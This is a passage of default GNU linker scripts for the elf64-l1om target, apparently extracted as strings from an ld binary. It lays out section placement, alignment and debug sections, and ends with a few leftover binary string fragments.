  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -z combreloc -z now -z relro: combine and sort reloc sections */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
      *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*)
      *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*)
      *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      PROVIDE_HIDDEN (__rel_iplt_end = .);
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .rela.plt       :
    {
      *(.rela.plt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) }
  .iplt           : { *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got.plt) *(.igot.plt) *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (0, .);
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Default linker script, for normal executables */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.init      : { *(.rela.init) }
  .rela.text      : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) }
  .rela.fini      : { *(.rela.fini) }
  .rela.rodata    : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) }
  .rela.data.rel.ro   : { *(.rela.data.rel.ro* .rela.gnu.linkonce.d.rel.ro.*) }
  .rela.data      : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) }
  .rela.tdata	  : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) }
  .rela.tbss	  : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) }
  .rela.ctors     : { *(.rela.ctors) }
  .rela.dtors     : { *(.rela.dtors) }
  .rela.got       : { *(.rela.got) }
  .rela.bss       : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) }
  .rela.ldata     : { *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*) }
  .rela.lbss      : { *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*) }
  .rela.lrodata   : { *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*) }
  .rela.iplt      :
    {
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .rela.plt       :
    {
      *(.rela.plt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) }
  .iplt           : { *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -z combreloc: combine and sort reloc sections */
OUTPUT_FORMAT("elf64-l1om", "elf64-l1om",
	      "elf64-l1om")
OUTPUT_ARCH(l1om)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
      *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*)
      *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*)
      *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*)
      PROVIDE_HIDDEN (__rel_iplt_start = .);
      PROVIDE_HIDDEN (__rel_iplt_end = .);
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .rela.plt       :
    {
      *(.rela.plt)
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) }
  .iplt           : { *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

eelf_l1om.celf_l1omelf64-l1omVpp	|	y	P						gldelf_l1om_write_build_id_sectionread_hex
out of memory
;X
pt


